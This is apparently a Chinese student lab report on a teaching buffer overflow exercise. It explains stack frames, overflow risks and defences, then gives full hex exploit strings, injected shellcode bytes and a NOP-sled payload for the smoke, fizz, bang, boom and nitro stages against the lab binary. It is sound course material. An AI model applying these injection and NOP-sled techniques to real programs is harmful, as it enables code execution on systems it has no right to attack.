1.1 实验目的 - 3 - 1.2 实验环境与工具 - 3 - 1.2.1 硬件环境 - 3 - 1.2.2 软件环境 - 3 - 1.2.3 开发工具 - 3 - 1.3 实验预习 - 3 -
2.1 请按照入栈顺序,写出C语言32位环境下的栈帧结构(5分) - 4 - 2.2请按照入栈顺序,写出C语言62位环境下的栈帧结构(5分) - 4 - 2.3请简述缓冲区溢出的原理及危害(5分) - 4 - 2.4请简述缓冲器溢出漏洞的攻击方法(5分) - 4 - 2.5请简述缓冲器溢出漏洞的防范方法(5分) - 4 -
3.1 SMOKE阶段1的攻击与分析 - 5 - 3.2 FIZZ的攻击与分析 - 5 - 3.3 BANG的攻击与分析 - 5 - 3.4 BOOM的攻击与分析 - 5 - 3.5 NITRO的攻击与分析 - 5 -
4.1 请总结本次实验的收获 - 6 - 4.2 请给出对本次实验内容的建议 - 6 -
理解C语言函数的汇编级实现及缓冲器溢出原理 掌握栈帧结构与缓冲器溢出漏洞的攻击设计方法 进一步熟练使用Linux下的调试工具完成机器语言的跟踪调试
1.2.1 硬件环境 X64 CPU;2GHz;2G RAM;256GHD Disk 以上 1.2.2 软件环境 Windows7 64位以上;VirtualBox/Vmware 11以上;Ubuntu 16.04 LTS 64位/优麒麟 64位; 1.2.3 开发工具 Visual Studio 2010 64位以上;GDB/OBJDUMP;DDD/EDB等
上实验课前,必须认真预习实验指导书(PPT或PDF) 了解实验的目的、实验环境与软硬件工具、实验操作步骤,复习与实验有关的理论知识。 请按照入栈顺序,写出C语言32位环境下的栈帧结构 请按照入栈顺序,写出C语言62位环境下的栈帧结构 请简述缓冲区溢出的原理及危害 请简述缓冲器溢出漏洞的攻击方法 请简述缓冲器溢出漏洞的防范方法
栈帧从下往上地址增大,入栈时一般%esp地址减少 具体情况如下所示,我们假设过程曾改变了如%ebp这样的被调用者保护寄存器(即存在pushl %ebp movl %esp,%ebp语句),还调用了函数P,正在调用函数Q:
栈帧从下往上地址增大,入栈时一般%rsp地址减少 具体情况如下所示,我们假设过程调用了函数P,正在调用函数Q:
原理: 计算机向缓冲区内写(填充)数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出一般是因为计算机(或程序)对接收的输入数据没有进行有效的检测。 危害: 对越界的数组元素的写操作会破坏储存在栈中的状态信息,当程序使用这个被破坏的状态,试图重新加载寄存器或执行ret指令时,就会出现很严重的错误。缓冲区溢出的一个更加致命的使用就是让程序执行它本来不愿意执行的函数,这是一种最常见的网络攻击系统安全的方法。
通常,输入给程序一个字符串,这个字符串包含一些可执行代码的字节编码,称为攻击代码,另外,还有一些字节会用一个指向攻击代码的指针覆盖返回地址。那么,执行ret指令的效果就是跳转到攻击代码。 在一种攻击形式中,攻击代码会使用系统调用启动一个shell程序,给攻击者提供一组操作系统函数。在另一种攻击形式中,攻击代码会执行一些未授权的任务,修复对栈的破坏,然后第二次执行ret指令,(表面上)正常返回到调用者。
1.栈随机化 栈随机化的思想使得栈的位置在程序每次运行时都有变化。因此,即使许多机器都运行相同的代码,它们的栈地址都是不同的。实现的方式是:程序开始时,在栈上分配一段0~n字节之间的随机大小的空间。分配的范围n必须足够大,才能获得足够多的栈地址变化,但是又要足够小,不至于浪费程序太多的空间。 2.栈破坏检测 通过栈保护者机制,来检测缓冲区越界。栈破坏检测的思想是在栈中任何局部缓冲区与栈状态之间存储一个特殊的金丝雀值,也称哨兵值,是在程序每次运行时随机产生的,攻击者没有什么简单的办法知道其值。在回复寄存器状态和从函数返回之前,程序检查这个金丝雀值是否被该函数的某个操作改变了。如果是的,那么程序异常终止。 3.限制可执行代码区域 这个方法是消除攻击者向系统插入可执行代码的能力。一种方法是限制哪些内存区域能够存放可执行代码。在典型的程序中,只有保护编译器产生的代码的那部分内存才需要是可执行的。其他部分可以被限制为只允许读和写。
每阶段25分,文本10分,分析15分,总分不超过80分
文本如下: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bb 8b 04 08 分析过程: 实验目的为利用getbuf()函数不检查读取的string长度的漏洞破坏函数的返回地址使之不返回test(),而执行smoke(),通过getbuf()的反汇编代码可知:
Dump of assembler code for function getbuf: 0x08049378 <+0>: push %ebp 0x08049379 <+1>: mov %esp,%ebp 0x0804937b <+3>: sub $0x28,%esp 0x0804937e <+6>: sub $0xc,%esp 0x08049381 <+9>: lea -0x28(%ebp),%eax 0x08049384 <+12>: push %eax 0x08049385 <+13>: call 0x8048e28 <Gets> 0x0804938a <+18>: add $0x10,%esp 0x0804938d <+21>: mov $0x1,%eax 0x08049392 <+26>: leave 0x08049393 <+27>: ret End of assembler dump.位于地址0x08049381为函数Gets预读的string预留了0x28 (也就是40)个Byte 的空间。为了覆盖原返回地址,需要读入0x28+4+4=48个字节的字符串,由于保存的%ebp旧值占据了4 Bytes,所以当输入字符串为48 Bytes时,最后4位Bytes 刚好覆盖我们的目标getbuf的返回地址。 覆盖返回地址的值应是smoke函数地址,使得getbuf返回到smoke,查看smoke函数的反汇编代码,其首地址为0x08048bbb,由于本机器为小端法机器,于是字符串可以为00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bb 8b 04 08:
Dump of assembler code for function smoke: 0x08048bbb <+0>: push %ebp 0x08048bbc <+1>: mov %esp,%ebp 0x08048bbe <+3>: sub $0x8,%esp 0x08048bc1 <+6>: sub $0xc,%esp 0x08048bc4 <+9>: push $0x804a4c0 0x08048bc9 <+14>: call 0x8048960 <puts@plt> 0x08048bce <+19>: add $0x10,%esp 0x08048bd1 <+22>: sub $0xc,%esp 0x08048bd4 <+25>: push $0x0 0x08048bd6 <+27>: call 0x80494cb <validate> 0x08048bdb <+32>: add $0x10,%esp 0x08048bde <+35>: sub $0xc,%esp 0x08048be1 <+38>: push $0x0 0x08048be3 <+40>: call 0x8048970 <exit@plt> End of assembler dump.检验结果如下:
文本如下: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 8b 04 08 00 00 00 00 af 4c 5e 49 分析过程: 首先查看cookie的值: 为0x495e4caf。覆盖返回地址的值应是fizz函数地址,使得getbuf返回到fizz,查看fizz函数的反汇编代码如下图,其首地址为0x08048be8,与上述smoke过程相同,只需暂时将返回地址的值改为e8 8b 04 08即可。 观察下图fizz的反汇编代码,函数的fizz将存在0x804e158的数与0x8(%ebp)进行比较,查看0x804e158处的值,为: cookie的值,先前查询的cookie值为0x495e4caf,故只需将调用fizz后0x8(%ebp)的值改为0x495e4caf即可。
Dump of assembler code for function fizz: 0x08048be8 <+0>: push %ebp 0x08048be9 <+1>: mov %esp,%ebp 0x08048beb <+3>: sub $0x8,%esp 0x08048bee <+6>: mov 0x8(%ebp),%edx 0x08048bf1 <+9>: mov 0x804e158,%eax 0x08048bf6 <+14>: cmp %eax,%edx 0x08048bf8 <+16>: jne 0x8048c1c <fizz+52> 0x08048bfa <+18>: sub $0x8,%esp 0x08048bfd <+21>: pushl 0x8(%ebp) 0x08048c00 <+24>: push $0x804a4db 0x08048c05 <+29>: call 0x8048880 <printf@plt> 0x08048c0a <+34>: add $0x10,%esp 0x08048c0d <+37>: sub $0xc,%esp 0x08048c10 <+40>: push $0x1 0x08048c12 <+42>: call 0x80494cb <validate> 0x08048c17 <+47>: add $0x10,%esp 0x08048c1a <+50>: jmp 0x8048c2f <fizz+71> 0x08048c1c <+52>: sub $0x8,%esp 0x08048c1f <+55>: pushl 0x8(%ebp) 0x08048c22 <+58>: push $0x804a4fc 0x08048c27 <+63>: call 0x8048880 <printf@plt> 0x08048c2c <+68>: add $0x10,%esp 0x08048c2f <+71>: sub $0xc,%esp 0x08048c32 <+74>: push $0x0 0x08048c34 <+76>: call 0x8048970 <exit@plt> End of assembler dump.如下图所示,下图是当getbuf因缓冲区溢出的示意图,因此在44个任意字节后添加fizz首地址,再添加任意4字节后再添加cookie值,由于小端法故在此4字节后添加af 4c 5e 49。 故答案如下:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 8b 04 08 00 00 00 00 af 4c 5e 49 检测结果如下:
文本如下: c7 05 60 e1 04 08 af 4c 5e 49 68 39 8c 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 3b 68 55 分析过程: 覆盖返回地址的值应是bang函数地址,使得getbuf返回到bang,查看bang函数的反汇编代码如下图,其首地址为0x08048c39,与上述smoke过程相同,只需暂时将返回地址的值改为39 8c 04 08即可。 查看bang中两个待比较地址存储的内容: 分别存储有cookie(0x495e4caf)和global_value 然而,我们意图将cookie(%eax,0x804e158处)的值与global_value(%edx,0x804e 160处的值)使之相等,即意图篡改global_value的值,但global_value的值存在常量区0x804e158处,故而我们考虑在栈帧区域够到字符串global_value修改他的值。
Dump of assembler code for function bang: 0x08048c39 <+0>: push %ebp 0x08048c3a <+1>: mov %esp,%ebp 0x08048c3c <+3>: sub $0x8,%esp 0x08048c3f <+6>: mov 0x804e160,%eax 0x08048c44 <+11>: mov %eax,%edx 0x08048c46 <+13>: mov 0x804e158,%eax 0x08048c4b <+18>: cmp %eax,%edx 0x08048c4d <+20>: jne 0x8048c74 <bang+59> 0x08048c4f <+22>: mov 0x804e160,%eax 0x08048c54 <+27>: sub $0x8,%esp 0x08048c57 <+30>: push %eax 0x08048c58 <+31>: push $0x804a51c 0x08048c5d <+36>: call 0x8048880 <printf@plt> 0x08048c62 <+41>: add $0x10,%esp 0x08048c65 <+44>: sub $0xc,%esp 0x08048c68 <+47>: push $0x2 0x08048c6a <+49>: call 0x80494cb <validate> 0x08048c6f <+54>: add $0x10,%esp 0x08048c72 <+57>: jmp 0x8048c8a <bang+81> 0x08048c74 <+59>: mov 0x804e160,%eax 0x08048c79 <+64>: sub $0x8,%esp 0x08048c7c <+67>: push %eax 0x08048c7d <+68>: push $0x804a541 0x08048c82 <+73>: call 0x8048880 <printf@plt> 0x08048c87 <+78>: add $0x10,%esp 0x08048c8a <+81>: sub $0xc,%esp 0x08048c8d <+84>: push $0x0 0x08048c8f <+86>: call 0x8048970 <exit@plt> End of assembler dump.getbuf函数中:查看输入字符串的起始位置为:0x55683b78
Dump of assembler code for function getbuf: 0x08049378 <+0>: push %ebp 0x08049379 <+1>: mov %esp,%ebp 0x0804937b <+3>: sub $0x28,%esp 0x0804937e <+6>: sub $0xc,%esp 0x08049381 <+9>: lea -0x28(%ebp),%eax 0x08049384 <+12>: push %eax 0x08049385 <+13>: call 0x8048e28 <Gets> 0x0804938a <+18>: add $0x10,%esp 0x0804938d <+21>: mov $0x1,%eax 0x08049392 <+26>: leave 0x08049393 <+27>: ret End of assembler dump.为了修改它的值,我们编写恶意代码篡改其值: 先将cookie以立即数的形式存储在0x804e160即global_value处,再将函数首地址压入栈中,然后返回: 将上述汇编代码编译后反汇编,得到下列数字字节: 将以上数字字节存储在getbuf字符串开头: 则答案应为:c7 05 60 e1 04 08 af 4c 5e 49 68 39 8c 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 3b 68 55 检测结果如下:
文本如下: b8 af 4c 5e 49 68 a7 8c 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3b 68 55 78 3b 68 55 分析过程: 为了不破坏栈帧结构,不仅需要知道栈帧存储字符串首地址,也需知道正常进行getbuf函数后%ebp的值,采用断点的方法读取%ebp的旧值:现在 函数getbuf的0x0804937b处断点读取此时%ebp的值,为0x55683ba0,读取其中的%ebp旧值为0x55683bc0,具体过程如下图:
Dump of assembler code for function getbuf: 0x08049378 <+0>: push %ebp 0x08049379 <+1>: mov %esp,%ebp 0x0804937b <+3>: sub $0x28,%esp 0x0804937e <+6>: sub $0xc,%esp 0x08049381 <+9>: lea -0x28(%ebp),%eax 0x08049384 <+12>: push %eax 0x08049385 <+13>: call 0x8048e28 <Gets> 0x0804938a <+18>: add $0x10,%esp 0x0804938d <+21>: mov $0x1,%eax 0x08049392 <+26>: leave 0x08049393 <+27>: ret End of assembler dump.然后采用与实验bang同样的方法,让getbuf返回时返回到字符串首地址执行以下汇编语句,将cookie值存储到%eax中,然后将即将执行的test函数中语句地址作为返回地址压入栈中: 故而第44~48字节存储的返回地址将被字符串首地址0x55683b78覆盖,小端法表示为78 3b 68 55。将上述汇编代码编译后反汇编,得到下列数字字节: b8 af 4c 5e 49 68 a7 8c 04 08 c3 为了避免破坏栈帧结构使得test函数无法继续往下进行,我们将读取的%ebp旧值处的值保留不进行破坏,即第40~44字节处的值为0x55683bc0,小端法表示为c0 3b 68 55: 此时答案应为:b8 af 4c 5e 49 68 a7 8c 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3b 68 55 78 3b 68 55 检测结果如下:
文本如下: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 b8 af 4c 5e 49 8d 6c 24 18 68 21 8d 04 08 c3 c8 39 68 55 分析过程: 确定插入的文本字节数目:
Dump of assembler code for function getbufn: 0x08049394 <+0>: push %ebp 0x08049395 <+1>: mov %esp,%ebp 0x08049397 <+3>: sub $0x208,%esp 0x0804939d <+9>: sub $0xc,%esp 0x080493a0 <+12>: lea -0x208(%ebp),%eax 0x080493a6 <+18>: push %eax 0x080493a7 <+19>: call 0x8048e28 <Gets> 0x080493ac <+24>: add $0x10,%esp 0x080493af <+27>: mov $0x1,%eax 0x080493b4 <+32>: leave 0x080493b5 <+33>: ret End of assembler dump.由lea -0x208(%ebp), %eax知插入字节数为0x208+4+4=528字节。 由于每一次%esp,%ebp,%eax均不一样,故而插入恶意代码的位置无法按正常方式直接查看,首先观察%ebp旧值与getbuf返回后%esp的关系: 第一次执行:%ebp旧值0x55683bc0,%eax的值为0x55683998 第二次执行:%ebp旧值0x55683b40,%eax的值为0x55683918 第三次执行:%ebp旧值0x55683b90,%eax的值为0x55683968 第四次执行:%ebp旧值0x55683b50,%eax的值为0x55683928 第五次执行:%ebp旧值0x55683bf0,%eax的值为0x556839c8 容易发现%ebp旧值=getbuf返回后%esp – 0x18,或由以下代码知此关系式成立:
Dump of assembler code for function testn: 0x08048d0e <+0>: push %ebp 0x08048d0f <+1>: mov %esp,%ebp 0x08048d11 <+3>: sub $0x18,%esp 0x08048d14 <+6>: call 0x8049103 <uniqueval> 0x08048d19 <+11>: mov %eax,-0x10(%ebp) 0x08048d1c <+14>: call 0x8049394 <getbufn> 0x08048d21 <+19>: mov %eax,-0xc(%ebp) 0x08048d24 <+22>: call 0x8049103 <uniqueval> 0x08048d29 <+27>: mov %eax,%edx 0x08048d2b <+29>: mov -0x10(%ebp),%eax 0x08048d2e <+32>: cmp %eax,%edx 0x08048d30 <+34>: je 0x8048d44 <testn+54> 0x08048d32 <+36>: sub $0xc,%esp 0x08048d35 <+39>: push $0x804a560 0x08048d3a <+44>: call 0x8048960 <puts@plt> 0x08048d3f <+49>: add $0x10,%esp 0x08048d42 <+52>: jmp 0x8048d85 <testn+119> 0x08048d44 <+54>: mov -0xc(%ebp),%edx 0x08048d47 <+57>: mov 0x804e158,%eax 0x08048d4c <+62>: cmp %eax,%edx 0x08048d4e <+64>: jne 0x8048d72 <testn+100> 0x08048d50 <+66>: sub $0x8,%esp 0x08048d53 <+69>: pushl -0xc(%ebp) 0x08048d56 <+72>: push $0x804a5c4 0x08048d5b <+77>: call 0x8048880 <printf@plt> 0x08048d60 <+82>: add $0x10,%esp 0x08048d63 <+85>: sub $0xc,%esp 0x08048d66 <+88>: push $0x4 0x08048d68 <+90>: call 0x80494cb <validate> 0x08048d6d <+95>: add $0x10,%esp 0x08048d70 <+98>: jmp 0x8048d85 <testn+119> 0x08048d72 <+100>: sub $0x8,%esp 0x08048d75 <+103>: pushl -0xc(%ebp) 0x08048d78 <+106>: push $0x804a5e4 0x08048d7d <+111>: call 0x8048880 <printf@plt> 0x08048d82 <+116>: add $0x10,%esp 0x08048d85 <+119>: nop 0x08048d86 <+120>: leave 0x08048d87 <+121>: ret End of assembler dump.从而插入的恶意代码说明如下: 先将cookie移至%eax使得testn得以判断正确进行,再将%ebp还原,最后将testn应该进行的下一条语句地址压入栈中。 Testn应该进行的下一条语句地址如图所示,为0x08048d21:
Dump of assembler code for function testn: 0x08048d0e <+0>: push %ebp 0x08048d0f <+1>: mov %esp,%ebp 0x08048d11 <+3>: sub $0x18,%esp 0x08048d14 <+6>: call 0x8049103 <uniqueval> 0x08048d19 <+11>: mov %eax,-0x10(%ebp) 0x08048d1c <+14>: call 0x8049394 <getbufn> 0x08048d21 <+19>: mov %eax,-0xc(%ebp) 0x08048d24 <+22>: call 0x8049103 <uniqueval> 0x08048d29 <+27>: mov %eax,%edx 0x08048d2b <+29>: mov -0x10(%ebp),%eax 0x08048d2e <+32>: cmp %eax,%edx 0x08048d30 <+34>: je 0x8048d44 <testn+54> 0x08048d32 <+36>: sub $0xc,%esp 0x08048d35 <+39>: push $0x804a560 0x08048d3a <+44>: call 0x8048960 <puts@plt> 0x08048d3f <+49>: add $0x10,%esp 0x08048d42 <+52>: jmp 0x8048d85 <testn+119> 0x08048d44 <+54>: mov -0xc(%ebp),%edx 0x08048d47 <+57>: mov 0x804e158,%eax 0x08048d4c <+62>: cmp %eax,%edx 0x08048d4e <+64>: jne 0x8048d72 <testn+100> 0x08048d50 <+66>: sub $0x8,%esp 0x08048d53 <+69>: pushl -0xc(%ebp) 0x08048d56 <+72>: push $0x804a5c4 0x08048d5b <+77>: call 0x8048880 <printf@plt> 0x08048d60 <+82>: add $0x10,%esp 0x08048d63 <+85>: sub $0xc,%esp 0x08048d66 <+88>: push $0x4 0x08048d68 <+90>: call 0x80494cb <validate> 0x08048d6d <+95>: add $0x10,%esp 0x08048d70 <+98>: jmp 0x8048d85 <testn+119> 0x08048d72 <+100>: sub $0x8,%esp 0x08048d75 <+103>: pushl -0xc(%ebp) 0x08048d78 <+106>: push $0x804a5e4 0x08048d7d <+111>: call 0x8048880 <printf@plt> 0x08048d82 <+116>: add $0x10,%esp 0x08048d85 <+119>: nop 0x08048d86 <+120>: leave 0x08048d87 <+121>: ret End of assembler dump.具体恶意代码如下所示: 代码汇编如下: b8 af 4c 5e 49 8d 6c 24 18 68 21 8d 04 08 c3
再考虑代码插入的位置,插入的位置仅可能为%ebp到%ebp-0x208(即%eax)处。如果仅仅通过返回地址改动直接进行恶意代码,例如将恶意代码插在字符串开头或返回地址前,由于每次字符串开头地址%ebp-0x208以及%ebp根据栈随机化规则会发生变动,无法确定一个具体的地址,使得每次无法直接执行恶意代码,因而我们考虑别的汇编代码辅助手段。 考虑汇编代码nop的功能是将PC+1,即滑动到下一字节,因此我们可以选择恒在(%ebp-0x208)到%ebp的地址作为返回地址,并保证每次从此地址开始读到的都是nop滑动,直到滑动到恶意代码并且执行。 为了方便起见,我们将恶意代码直接插在返回地址之前,考虑返回地址为(%ebp-0x208),即%eax历史值中最大值0x556839c8,以便每次%eax指向的地址都在字符串地址范围之内,由此开始插入nop,直到恶意代码开始,nop在汇编中为90,则插入的字节如下: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 b8 af 4c 5e 49 8d 6c 24 18 68 21 8d 04 08 c3 c8 39 68 55 检验结果具体如下:
